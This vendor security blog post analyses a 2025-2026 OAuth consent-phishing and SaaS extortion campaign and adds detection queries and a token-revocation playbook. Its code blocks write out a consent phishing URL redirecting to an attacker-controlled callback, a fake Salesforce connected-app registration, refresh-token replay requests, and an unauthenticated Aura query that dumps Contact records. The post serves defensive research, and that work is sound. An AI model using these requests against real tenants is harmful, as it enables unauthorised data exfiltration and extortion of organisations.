No Vulnerability Was Exploited: Inside the SaaS Extortion Wave That Breaks In Through Consent, Not Code

OAuth consent phishing is the attack that no firewall blocks, no patch fixes, and no MFA prompt stops. The attacker does not break into the system. They send a consent request to a legitimate identity provider, the victim approves it, and the identity provider issues a long-lived token that gives the attacker the same API access as any authorized application. No exploit. No malware on the endpoint. No anomalous login. Just one click on an ‘Accept’ button that the victim believed was routine.

Between mid-2025 and mid-2026, a financially motivated extortion group conducted the largest documented SaaS consent abuse campaign on record, breaching more than 1,000 organizations across retail, education, manufacturing, and technology through three distinct OAuth attack paths. They compromised CRM platforms, business intelligence tools, collaboration suites, and the integration networks that connect all of them. They exfiltrated customer data, demanded ransoms under threat of publication, and in several cases published the data anyway. At no point did they need to exploit a software vulnerability. The trust relationships their victims had established with third-party applications were the only keys they needed.

This blog is a technical breakdown of how the OAuth consent abuse attack model works, why the controls most organizations have deployed do not address it, and what a detection and governance program designed for authorization-layer attacks actually looks like.

1,000+ organizations breached by a single group through OAuth consent abuse without exploiting a single CVE (mid-2025 to mid-2026) Source: Microsoft Security Blog, July 2026

1.5B records claimed across the SaaS extortion campaign spanning Salesforce, Microsoft 365, and downstream integrations Source: Microsoft Security Blog, July 2026

760 downstream Salesforce customer organizations exposed through one vendor integration OAuth token compromise in August 2025 Source: industry research note, July 2026

$0 cost to register a malicious OAuth application with Microsoft, Google, or Salesforce’s developer platforms Source: Microsoft Entra ID and Salesforce developer documentation, 2026

The Architecture of OAuth Consent Abuse: How a Permission Grant Becomes a Breach

To understand why this attack model is so effective, it is necessary to understand what OAuth 2.0 actually does, how consent grants are issued, and what happens to access tokens after they are issued.

OAuth 2.0: The Delegation Layer Under Every SaaS Integration

OAuth 2.0 is the authorization framework that allows users to grant third-party applications access to their data without sharing their passwords. It is the protocol behind every ‘Sign in with Google,’ every ‘Connect to Microsoft 365,’ and every SaaS integration that reads your calendar or sends emails on your behalf. The protocol is correctly designed for its intended purpose: it keeps passwords out of third-party hands and gives users explicit control over what they share with whom.

The consent grant is the mechanism at the heart of this model. When a user authorizes a new application, they are making an authorization decision: this application is allowed to act as me, within the specified permissions, for as long as the token lasts. The identity provider records that decision and issues tokens accordingly. The critical operational detail is that this authorization decision is made once, at the moment of consent, and then operates automatically thereafter without requiring the user’s further involvement.

OAuth consent grant flow: legitimate protocol, weaponized (Disclaimer: not verified against production) // Standard OAuth 2.0 Authorization Code Flow // (This is the legitimate flow; the attack abuses the same endpoints)   // Step 1: Attacker registers application with Microsoft Entra ID // Cost: $0. No verification of publisher identity required by default. // App name can impersonate any legitimate tool (e.g. 'Salesforce Data Loader Pro')   // Step 2: Attacker constructs consent phishing URL pointing to REAL Microsoft login https://login.microsoftonline.com/common/oauth2/v2.0/authorize   ?client_id=<attacker_app_id>   &response_type=code   &redirect_uri=https://attacker-controlled.app/callback   &scope=Mail.Read+Files.ReadWrite.All+Contacts.Read+offline_access+User.Read.All   &state=<campaign_identifier>   // Step 3: Victim receives phishing lure, clicks link // Browser navigates to real login.microsoftonline.com (no fake domain) // Victim authenticates with username/password + MFA // MFA passes correctly: authentication was genuine   // Step 4: Microsoft presents consent screen: // 'Salesforce Data Loader Pro wants to:' // - Read your email messages (Mail.Read) // - Read and write your files (Files.ReadWrite.All) // - Read your contacts (Contacts.Read) // - Maintain access even when you're not using the app (offline_access) // - Read all users in your organization (User.Read.All) // Victim clicks 'Accept'   // Step 5: Microsoft redirects to attacker's redirect_uri with authorization_code // Attacker exchanges code for access_token + refresh_token   // Step 6: Attacker now has: // access_token:  valid 60-75 minutes for Microsoft Graph API calls // refresh_token: valid up to 90 DAYS; replayed to get fresh access tokens //                survives password resets, MFA changes, session termination   // Step 7: All subsequent API calls appear as normal application traffic: GET https://graph.microsoft.com/v1.0/me/messages  // reads inbox GET https://graph.microsoft.com/v1.0/me/drive/root/children  // reads all files GET https://graph.microsoft.com/v1.0/users  // enumerates all tenant users // Logs show: application X accessed resource Y. No anomaly. No alert.

The Fundamental Architectural Asymmetry

MFA is an authentication control. It answers the question: is this person who they claim to be? OAuth consent phishing does not question that claim. The victim authenticates correctly. The identity provider confirms their identity. MFA passes exactly as designed. The attack operates at the authorization layer, which answers a different question: what is this application allowed to do on this person’s behalf? MFA has no opinion about that question. The consent screen is where the authorization decision is made, and the consent screen is exactly where the attacker’s payload is delivered. By the time MFA has confirmed identity, the authorization decision has already been made in the attacker’s favor.

The High-Value OAuth Scope Catalog

Not all OAuth scopes carry the same risk. The scopes that appear in documented extortion campaigns share a pattern: they enable bulk data export, persistent access, and organizational intelligence. Understanding which scopes represent high risk is the starting point for any consent governance program.

Scope	What It Allows	Why Attackers Request It
Mail.Read / Mail.ReadWrite	Full mailbox read/write access	BEC intelligence: financial threads, pending wire transfers, executive correspondence
Files.ReadWrite.All	All OneDrive and SharePoint files	Complete data exfiltration: strategic documents, financial models, customer data
Contacts.Read	All address book and contact data	Contact harvesting for campaign amplification; executive relationship mapping
offline_access	Enables refresh token issuance	Persistent access: refresh tokens valid up to 90 days, survives password reset
User.Read.All	Enumerate all users in the tenant	Organizational mapping: identify high-value targets for spear phishing or BEC
Calendars.Read	Full calendar access	Meeting intelligence: who is meeting whom, when, about what
Directory.Read.All	Full Azure AD / Entra ID directory	Tenant structure, group memberships, role assignments
Salesforce: full API / bulk API	All CRM object read/write including bulk export	Customer database exfiltration: contact records, deal history, revenue data

Source: Microsoft Entra ID permission documentation; documented ShinyHunters campaign scope analysis, 2025-2026

Three OAuth Consent Phishing Playbooks: The Campaigns That Defined 2025-2026

The most extensively documented SaaS extortion campaign of this period operated across three distinct intrusion paths, identified by threat intelligence research published in July 2026. Each path represents a different exploitation of OAuth trust relationships. Together they illustrate why perimeter-focused and authentication-focused security controls are structurally insufficient against an authorization-layer attack model.

Playbook 1: Vishing Plus OAuth Consent Phishing

The first intrusion path combined voice social engineering with a technical consent grant. Operators called employees of target organizations, impersonating IT support staff or platform vendor representatives. The voice call established trust and urgency: there was a problem with the employee’s account, or a required integration needed to be authorized, or a security update required app verification.

The employee was then guided through opening a link and approving a consent screen for what appeared to be a legitimate tool. In the Salesforce campaigns, the application was named to closely resemble Salesforce’s native ‘Data Loader’ utility, which many Salesforce administrators use routinely for data import and export. The employee, believing they were authorizing a legitimate administrative tool under the guidance of a support representative, clicked ‘Accept.’

Playbook 1: Fake Data Loader OAuth registration and API exploitation (Disclaimer: for research purposes only) // Fake 'Salesforce Data Loader Pro' app registration (attacker-controlled) // Registered in Salesforce's connected app developer portal   App Name:        Salesforce Data Loader Pro Consumer Key:    3MVG9Ix...  (legitimate-looking key) Callback URL:    https://data-loader-pro.app/callback  (attacker-controlled) Scopes Requested:   - api          (full Salesforce REST API access)   - refresh_token (persistent token; survives session expiry)   - full         (all data accessible to the user)   - wave_api     (Analytics/Tableau CRM data)   // Employee receives consent screen: // 'Salesforce Data Loader Pro would like to:' // - Access and manage your Salesforce data (api) // - Perform requests on your behalf at any time (refresh_token)   // Post-consent: attacker issues Salesforce REST API calls as the authenticated user GET /services/data/v59.0/query/?q=SELECT+Id,Name,Email,Phone+FROM+Contact+LIMIT+50000 GET /services/data/v59.0/query/?q=SELECT+Id,Amount,StageName,CloseDate+FROM+Opportunity POST /services/async/59.0/job  // Bulk API 2.0 job creation for mass data export   // All API calls appear in Salesforce logs as activity from 'Salesforce Data Loader Pro' // No login anomaly. No password failure. No MFA event.

Playbook 2: Supply Chain Token Compromise

The second intrusion path is more architecturally interesting and more difficult to defend against, because it does not require deceiving any employee of the target organization. It requires compromising a vendor that already has legitimate OAuth access to the target’s SaaS environment.

In August 2025, a sales engagement platform’s integration service was compromised. The integration stored OAuth connection secrets that provided API access to the CRM environments of customer organizations. When the integration service was breached, the attacker inherited every stored OAuth token and connection secret for every customer tenant that had configured the integration. Approximately 760 downstream organizations were reached through a single vendor compromise.

Playbook 2: Supply chain token replay (Disclaimer: for research purposes only; reconstructed from documented incident analysis) // Supply chain OAuth token compromise: how downstream access works   // VENDOR INTEGRATION CONFIGURATION (stored in vendor's database): {   'tenant_id':       'f1e2d3c4-...',  // Customer's Salesforce org ID   'instance_url':    'https://customer.my.salesforce.com',   'access_token':    'Bearer 00D...',  // Short-lived; replaced by refresh   'refresh_token':   'Bearer 5A3...',  // Long-lived: valid for months   'token_type':      'Bearer',   'issued_at':       '1722000000000',   'scope':           'api refresh_token full', }   // When vendor's database or credential store is compromised: // Attacker extracts all stored refresh_tokens for all customer tenants   // Attacker replays refresh_token against Salesforce token endpoint: POST https://login.salesforce.com/services/oauth2/token   grant_type=refresh_token   &client_id=<vendor_connected_app_consumer_key>   &client_secret=<vendor_connected_app_consumer_secret>   &refresh_token=<stolen_refresh_token>   // Response: fresh access_token for customer's Salesforce org // No consent screen presented. No login event. No MFA. // Customer's Salesforce audit log shows: vendor integration made API calls. // Those API calls are now the attacker's.   // This is the transitive trust problem: // Customer authorized VENDOR. Vendor was compromised. Attacker inherited authorization. // Customer never saw a consent request for the attacker's access.

The same pattern repeated in November 2025 through a customer success platform integration, reaching more than 200 Salesforce instances. In June 2026, a market intelligence platform was compromised; its stored credentials were used to pivot into the Salesforce and conversation intelligence environments of downstream customers. Each incident was operationally identical: one vendor breach, hundreds of downstream exposures, all through tokens the customers themselves had authorized.

Source: Microsoft Security Blog July 13, 2026; industry research note, July 16, 2026; documented incident analysis 2025-2026

Playbook 3: Misconfigured Guest Access and API Exposure

The third intrusion path required neither social engineering nor vendor compromise. Several Salesforce tenants had misconfigured their Experience Cloud guest access permissions, or exposed their Salesforce Aura framework endpoints in ways that allowed unauthenticated API queries to return significantly more data than intended.

The Aura framework endpoint, /aura, accepts GraphQL-style queries and responds with Salesforce object data. Correctly configured, it returns only what guest users are permitted to see. Misconfigured, it can return entire Contact, Lead, Account, or custom object datasets in response to queries from any unauthenticated HTTP client. No OAuth token required. No authentication. No consent. The data is simply publicly accessible because the guest access permissions and API exposure configuration were not reviewed.

Playbook 3: Aura endpoint guest access exploitation (Disclaimer: for defensive research purposes only) // Salesforce Aura endpoint misconfiguration: unauthenticated data access // (Disclaimer: for defensive research and awareness only)   // Target: misconfigured Experience Cloud site with guest-accessible objects POST https://target.my.salesforce.com/aura?r=1&aura.ApexAction.execute=1 Content-Type: application/x-www-form-urlencoded   message={   'actions': [{     'descriptor': 'serviceComponent://ui.communities.runtime.components.aura.components.communities.aura.discussionForum.DiscussionForumController/ACTION$queryRows',     'params': {       'sObjectType': 'Contact',       'fields':       ['Id','Name','Email','Phone','MobilePhone','MailingCity','AccountId'],       'criteria':     [],       'limit':        50000     }   }] }   // Misconfigured response: returns 50,000 Contact records as unauthenticated guest // No OAuth token. No login. No trace in authenticated user audit logs. // Request appears as Experience Cloud guest site traffic.   // Chaining multiple queries extracts entire CRM dataset: // Contacts, Leads, Accounts, Opportunities, Cases, custom objects

Source: Microsoft Security Blog July 13, 2026; independent security research on Salesforce Aura GraphQL exposure patterns

The Transitive Trust Problem: Fourth-Party OAuth Risk

The supply chain attack playbook illustrates a risk architecture that most SaaS security programs have not formally addressed: transitive trust through OAuth integration chains. An organization that carefully reviews every application it directly authorizes may still be exposed through the applications that its vendors have authorized, and the applications that those vendors’ vendors have authorized, extending the trust chain indefinitely.

When an organization installs a vendor integration into their Salesforce or Microsoft 365 environment, they review the vendor’s security posture and make an authorization decision. What they do not review is the vendor’s own OAuth grant inventory: which applications does this vendor’s platform connect to? What access have those connected applications been granted? What happens to the connection credentials if any of those applications or their vendors are compromised?

The 2025-2026 Cascade Pattern

The documented campaign produced cascading compromises through multiple integration chains. One vendor’s breach in August 2025 reached approximately 760 downstream organizations. A second vendor’s compromise in November 2025 reached more than 200 additional organizations. A third vendor breach in June 2026 reached customers spanning multiple sectors and geographies. In each case, the downstream organizations had authorized the vendor directly. They had not authorized the attacker, and they had no mechanism to detect that the authorization they had granted to a trusted vendor was being exercised by an unauthorized party. The pattern produces what industry research has documented as the ‘SaaS supply chain multiplier’: one vendor compromise routinely produces dozens to hundreds of downstream victim organizations, each of which sees normal integration activity in their audit logs right up to the moment of public disclosure.

Trust Level	Who Authorized It	Visibility to End Organization	Risk If Compromised
First-party apps	The organization directly authorized	Full: visible in own tenant’s app registrations and enterprise applications	Organization is responsible and has revocation control
Third-party integrations	The organization directly authorized a vendor’s published app	Partial: visible in enterprise applications list, but vendor controls the app registration	Vendor compromise inherits all granted permissions; organization must revoke to terminate access
Fourth-party (vendor’s integrations)	The vendor authorized apps in the vendor’s own tenant	None: invisible to end organization; not in their app registry	Vendor’s vendor compromise can produce tokens that are replayed against end organization’s data
Guest access permissions	The organization configured Experience Cloud or sharing settings	Configuration-visible but not surfaced in standard security reviews	Misconfigured guest permissions enable unauthenticated data extraction; no token required at all

What Your SOC Sees vs. What Is Actually Happening

The operational consequence of OAuth consent abuse is that it produces very little that standard detection tools recognize as malicious. The attacker’s activity signature is, by design, nearly identical to legitimate application activity.

The Attacker’s Log Footprint

Log analysis: OAuth consent abuse from attacker vs. SOC perspective (Disclaimer: not verified against production) // What appears in Microsoft 365 / Entra ID sign-in logs: // (This is what the SOC analyst sees)   {   'UserPrincipalName':    'victim@organization.com',   'AppDisplayName':       'Salesforce Data Loader Pro',   'AppId':                '3f2504e0-4f89-...',   'ResourceDisplayName':  'Microsoft Graph',   'AuthenticationMethod': 'OAuth2',   'ConditionalAccessStatus': 'Success',   'MfaDetail': { 'authMethod': 'Phone appOTP', 'authDetail': 'OTP code' },   'Status': { 'errorCode': 0, 'failureReason': null },   'IPAddress':            '20.42.XX.XX',  // Microsoft datacenter IP (API call origin)   'DeviceDetail':         { 'operatingSystem': null, 'browser': null },   'TokenIssuerType':      'AzureAD' }   // Analysis: Authenticated user, MFA passed, Conditional Access succeeded, // no failed logins, Microsoft datacenter IP (normal for app service calls), // no device anomaly. Zero alert triggers in most SIEM rule sets.   // What is actually happening: // Attacker's server in [attacker cloud region] is replaying the refresh token // to get fresh access tokens every 60-75 minutes and reading the inbox. // The Microsoft datacenter IP is the Microsoft Graph API's own infrastructure. // The 'user' is the app, acting as the user, under delegated permissions.

Why Standard Detection Rules Miss It

Detection Rule	Why It Fails
Impossible travel / location anomaly	OAuth token replay from attacker infrastructure produces Microsoft Graph API IPs, not the attacker’s geographic IP. The API call origin is within Microsoft’s datacenter network.
Failed login attempts	No failed logins occur. Token replay produces successful authentication events. Credential stuffing indicators are entirely absent.
New device registration	No new device is registered. The token is associated with the original consent grant event, not a new device.
Anomalous login hours	Token replay can be timed to occur during the victim’s business hours, matching normal usage patterns.
Legacy authentication protocol	OAuth 2.0 is not a legacy protocol. Modern Conditional Access policies that block basic auth and legacy protocols do not apply.
Malware / EDR	No executable runs on the endpoint. All activity is API calls from the attacker’s remote server to Microsoft’s or Salesforce’s API. The endpoint is uninvolved.
DLP on email traffic	Exfiltration occurs via authenticated Microsoft Graph API calls, not email attachment sending or web upload. Standard DLP rules focused on email and file upload do not apply.

The Signals That Do Exist

OAuth consent abuse does produce detectable signals, but they are authorization-layer signals rather than authentication or network anomaly signals. The consent grant event itself is logged in Entra ID and Salesforce audit logs. The scope of the granted permissions is visible in enterprise application records. The volume and pattern of API calls made by the application can diverge from legitimate application behavior (a legitimate CRM integration does not read 50,000 contact records in 15 minutes). Detection of this attack model requires monitoring the authorization layer: who consented to what, when, with which scopes, and what that application has done since the grant was issued. This is fundamentally different from monitoring the authentication layer, and most SIEM rules, alert configurations, and security monitoring programs are built entirely around the authentication layer.

The Token Lifecycle: Persistence Without Presence

One of the most consequential properties of OAuth refresh tokens for this attack model is their persistence. Unlike session cookies that expire when the browser is closed, or access tokens that expire in an hour, refresh tokens are designed to provide long-term application access without requiring the user to re-authenticate.

OAuth refresh token lifecycle and persistence (Disclaimer: for defensive research purposes only) // Microsoft Entra ID default token lifetimes (configurable by tenant admin):   Access Token:         60-75 minutes  (used for API calls; short-lived by design) Refresh Token:        Up to 90 days  (used to obtain fresh access tokens; long-lived) Single Sign-On token: Up to 1 hour   // Attacker's operational model using refresh tokens: DAY 1:  Consent granted. Attacker receives refresh_token. DAY 1-90: Attacker replays refresh_token every 60-75 minutes:           POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token             grant_type=refresh_token             &client_id=<attacker_app_id>             &client_secret=<attacker_app_secret>             &refresh_token=<stolen_token>           -> Response: new access_token valid for next 60-75 minutes   // What does NOT revoke a refresh token: PASSWORD RESET:   Token was not issued based on current password.                   Changing password does not invalidate existing tokens. MFA CHANGE:       Token was issued after MFA was passed at consent time.                   Changing MFA method does not revoke previously issued tokens. SESSION REVOKE:   'Sign out of all sessions' terminates browser sessions.                   OAuth application tokens are separate from browser sessions.                   Session revocation does NOT revoke OAuth application tokens.   // What DOES revoke a refresh token: EXPLICIT REVOCATION: Admin revokes the specific token or removes the app consent. TOKEN EXPIRY:     After 90 days of non-use (sliding window). TENANT POLICY:    Reduced token lifetime policy configured in Entra ID.   // Operational implication: an organization that detects the compromise 60 days // after consent was granted cannot simply reset the victim's password. // The token remains valid. Explicit revocation of the OAuth grant is required.

Source: Microsoft Entra ID token lifetime documentation; MSAL token caching documentation

The Commoditization of Consent Abuse: ConsentFix and Automated Attack Toolkits

The technical sophistication required to execute an OAuth consent phishing campaign has decreased significantly through the emergence of purpose-built toolkits that automate the steps that previously required technical skill. ConsentFix, documented by security researchers in 2025 and 2026, is the most thoroughly analyzed of these tools.

ConsentFix automates the registration of malicious OAuth applications across multiple identity providers, generates convincing consent phishing page templates calibrated to specific target platforms, manages the storage and replay of stolen tokens, and provides an operator dashboard for monitoring active compromises. The toolkit is available through underground markets and is regularly updated to incorporate evasion techniques documented in platform security research.

Capability	Manual Attack (Operator Skill Required)	ConsentFix and Automated Toolkits
App registration	Manual registration in developer portal; requires understanding of OAuth app configuration	Automated: scripts register apps across multiple tenants simultaneously
Consent page generation	Custom HTML required; must accurately impersonate target application UI	Templated: pre-built consent page templates for major platforms
Token capture	Custom server required to receive authorization codes and exchange for tokens	Built-in: automated code exchange and token storage
Token replay	Manual API scripting required for each target platform	Automated: scheduled token replay maintains persistent access
Evasion	Manual implementation of evasion techniques	Built-in: legitimate domain redirection, Cloudflare challenge, state-parameter encoding
Scale	Limited by operator bandwidth for campaign management	Dashboard-managed: hundreds of active compromises tracked simultaneously
Campaign analytics	Manual tracking	Real-time: consent grant rates, active tokens, API call volumes per compromised account

Source: independent security research on ConsentFix toolkit; consent phishing automation analysis, 2025-2026

The evasion capabilities in current automated toolkits are particularly relevant for email security gateways and URL inspection tools. Phishing links in consent phishing campaigns point to legitimate identity provider domains (login.microsoftonline.com, accounts.google.com) rather than attacker-controlled domains. The only attacker-controlled component is the redirect_uri, which receives the authorization code after consent is granted. A URL inspection tool that follows the consent phishing link will reach a real Microsoft or Google login page and classify the link as safe.

Consent phishing evasion chain: why automated scanners miss it (Disclaimer: not verified against production) // Evasion chain used in documented 2026 campaigns: // (Source: Microsoft Defender research, March 2026)   // Layer 1: Phishing link points to LEGITIMATE identity provider https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=...&scope=... // Email security gateway follows link -> reaches real Microsoft login page -> SAFE   // Layer 2: Cloudflare Turnstile challenge on intermediate redirect // Bots (scanners, sandboxes) fail the CAPTCHA challenge // Only human victims reach the actual consent flow   // Layer 3: State parameter encoding // Campaign identifier and victim context encoded in &state= parameter // Makes individual phishing link unique per victim; prevents link reuse analysis   // Layer 4: Intermediate redirect through legitimate infrastructure // Some campaigns route through legitimate file hosting or redirect services // before arriving at the identity provider, further evading sandbox detonation   // Net result: static URL analysis sees Microsoft domain -> SAFE //             Dynamic sandbox detonation is blocked by Turnstile -> SAFE //             Human victim completes consent -> COMPROMISED

The Scale of the Consent Abuse Wave in 2025-2026

The documented campaigns and toolkits of the past eighteen months establish consent-based SaaS extortion as a primary attack category rather than an emerging threat. The scale indicators suggest this is now the dominant attack path for financially motivated actors targeting enterprise SaaS environments.

Campaign / Data Point	Scale	Source
ShinyHunters Salesforce campaign (mid-2025 to mid-2026)	1,000+ organizations compromised; 1.5 billion records claimed	Microsoft Security Blog, July 2026
Sales engagement platform supply chain (August 2025)	~760 downstream Salesforce customer organizations	Industry research note, July 2026
Customer success platform integration cascade (November 2025)	200+ Salesforce instances	Multiple security research sources
Analytics platform compromise (2026)	13+ downstream customers including major cloud platforms	Independent security research, 2026
ConsentFix toolkit scale (2025 campaign)	900 tenant compromises, 3,000 user accounts in one campaign	Independent security research, 2025
17,000 app campaign	One campaign: 17,000 malicious apps registered, 927,000 phishing messages sent	Consent phishing threat research, 2025-2026
Storm-2372 (Microsoft 365 device code + consent)	340+ Microsoft 365 organizations across government, defense, NGO, and energy sectors	Microsoft Threat Intelligence, 2025-2026

The Extortion Model: Pay-or-Leak at SaaS Scale

The financially motivated actors behind the dominant 2025-2026 campaigns use a consistent post-compromise monetization model: pay-or-leak extortion. Data is exfiltrated in bulk using legitimate API access, the victim is contacted with a ransom demand and evidence of the exfiltration, and a deadline is set for payment before public publication.

The SaaS extortion model has two properties that distinguish it from ransomware extortion. First, encryption is not required, which means there is no remediation step the victim can take to recover access to their own data. The data has been copied; the copy cannot be encrypted back. Second, the exfiltration is typically silent and fast. CRM bulk API access allows extraction of hundreds of thousands of records in minutes, not hours. The window between initial access and complete exfiltration is often short enough that monitoring tools do not generate alerts before the exfiltration is complete.

Detection and Defense: Building Controls at the Authorization Layer

Platform-Level Controls

• Restrict user consent in Microsoft Entra ID: disable the default permission that allows users to consent to third-party applications. Require admin approval for all new application consent requests. From July 2025, Microsoft enables this restriction by default for new tenants; organizations that have not reviewed their tenant consent policy may still be running in the permissive legacy configuration.
• Enable risk-based step-up consent in Entra ID: Entra’s built-in policy automatically requires admin approval for applications flagged as potentially risky, including multi-tenant apps from unverified publishers. This does not eliminate the risk for verified-publisher applications but significantly raises the bar for new malicious app registrations.
• Audit and maintain an OAuth application inventory: run a full audit of every application registered in the tenant and every enterprise application with OAuth grants. Remove applications that are no longer in use. Flag applications with high-privilege scopes (offline_access combined with mail or files access) for review.
• Salesforce: review Connected Apps with OAuth grants. Disable unused Connected Apps. Restrict the IP ranges from which Connected Apps can make API calls. Disable the Aura endpoint for Experience Cloud sites that do not require it, and audit guest user permission sets against the minimum required access.
• Implement OAuth application allowlisting: define a list of approved OAuth applications and block all others from receiving consent at the identity provider level. This is operationally complex but is the most effective control against consent phishing campaigns that register new malicious applications.

Detection Rules

Detection queries: OAuth consent abuse and token replay indicators // Microsoft Entra ID / Microsoft Sentinel KQL // Detection: high-privilege OAuth consent grant by non-admin user   AuditLogs | where OperationName == 'Consent to application' | extend ConsentedScopes = tostring(TargetResources[0].modifiedProperties) | where ConsentedScopes has_any ('Mail.ReadWrite', 'Files.ReadWrite.All', 'offline_access',                                   'User.Read.All', 'Directory.Read.All', 'Contacts.Read') | where InitiatedBy.user.userPrincipalName !in (AdminAccounts)  // filter known admins | project TimeGenerated, ConsentedBy=InitiatedBy.user.userPrincipalName,           AppName=TargetResources[0].displayName, AppId=TargetResources[0].id,           ConsentedScopes | order by TimeGenerated desc   // Detection: enterprise application making anomalously high API call volume // (bulk exfiltration indicator)   MicrosoftGraphActivityLogs | where AppId in (EnterpriseApplicationIds)  // limit to known app registrations | summarize CallCount=count() by AppId, AppDisplayName, bin(TimeGenerated, 15m) | where CallCount > 500  // threshold: tune to your environment's normal API volume | where AppDisplayName !in (KnownHighVolumeApps)  // exclude expected high-volume apps   // Detection: refresh token replay from non-organizational IP // (attacker infrastructure replaying token after business hours)   SigninLogs | where AuthenticationProtocol == 'oAuth2' | where TokenIssuerType == 'AzureAD' | where AppId in (EnterpriseApplicationIds) | where IPAddress !has_any (OrgIPRanges)  // non-organizational IP accessing via app token | where TimeGenerated between (datetime(23:00) .. datetime(06:00))  // off-hours activity | project TimeGenerated, AppDisplayName, IPAddress, UserPrincipalName   // Disclaimer: Validate all queries in a non-production environment. // Tune thresholds and exclusion lists against your environment's baseline. // False positive rates will be high without tuning. Do not deploy without baseline review.

Token Revocation Response Playbook

When an unauthorized or suspicious OAuth grant is identified, the response sequence matters. Password reset alone does not terminate access; the OAuth token must be explicitly revoked.

Response Step	Platform	Action	Effect
1. Identify all grants	Entra ID	Enterprise Applications > app > Users and Groups > review who has consented	Confirms scope of consent grant and which users are affected
2. Revoke consent	Entra ID	Enterprise Applications > app > Properties > Delete OR revoke individual user consent via PowerShell: Revoke-MgUserOAuth2PermissionGrant	Invalidates the OAuth grant; subsequent token refresh attempts will fail
3. Revoke active tokens	Entra ID	PowerShell: Invoke-MgInvalidateUserRefreshToken -UserId <upn> or via portal: Users > account > Revoke sessions	Terminates all refresh tokens; forces re-authentication for all apps
4. Salesforce token revocation	Salesforce	Setup > Connected Apps OAuth Usage > revoke tokens per Connected App per user, or revoke at Connected App level	Terminates API access for the compromised Connected App
5. Audit API activity	Entra ID / Salesforce	Review Graph API logs and Salesforce API usage logs for data accessed during the window	Establishes scope of exfiltration for notification and regulatory reporting obligations
6. Scope review	All platforms	Review remaining application inventory for similar high-privilege grants	Identifies additional exposure before next incident

Disclaimer: Token revocation and incident response steps should be tested in a non-production environment and validated with platform-specific documentation before operational deployment. Revocation actions affecting production tokens may impact legitimate application integrations.

How Brandefense Addresses SaaS OAuth Risk

SaaS OAuth consent abuse represents a category of risk that operates entirely outside the traditional vulnerability-patch-detect model. The threat is not a vulnerability in a product; it is a property of the authorization architecture itself. Defending against it requires visibility into the authorization layer that most security programs have not built.

Capability	How It Addresses the OAuth Consent Attack Model
External SaaS surface discovery	Finds the internet facing SaaS surfaces tied to your domains, including the misconfigured Experience Cloud sites and exposed API endpoints behind Playbook 3, which need no token at all
Integration vendor breach monitoring	Tracks the vendors holding OAuth tokens into your environment and surfaces their breach disclosures and leak site appearances before the customer notification arrives
Token and connection secret exposure monitoring	Detects OAuth tokens, refresh tokens and integration connection secrets appearing in dark web listings and threat actor channels after a vendor compromise
Consent phishing infrastructure detection	Surfaces newly registered domains and application names built to impersonate your own tools, which is the redirect_uri and app name side of a consent campaign
Executive and privileged user targeting intelligence	Flags your high value identities appearing in targeting lists and credential markets tied to SaaS extortion campaigns

RELATED READING

Phishing-as-a-Service 2.0: The Kits That Bypass MFA Without a Fake Login Page  https://brandefense.io/blog/phishing-as-a-service-mfa-bypass-device-code/  : How the same kit economy industrialises the device code and consent abuse techniques described here.

Shadow IT: Why the Assets Your IT Team Doesn’t Know About Are Your Most Dangerous Entry Points  https://brandefense.io/blog/shadow-it-hidden-attack-surface/  : How unsanctioned SaaS adoption creates OAuth grants that never enter the security inventory.

Continuous Monitoring vs. Annual Audit: Why the TPRM Calendar Is Broken  https://brandefense.io/blog/continuous-vendor-monitoring-vs-annual-audit/  : Why an annual review cycle cannot catch a vendor token compromise that happens between audits.

One Vendor, Eleven Crises: Why Your TPRM Program Has a People Data Blind Spot  https://brandefense.io/blog/people-data-vendors-tprm-blind-spot/  : The broader supply chain pattern of which OAuth token cascades are the SaaS specific case.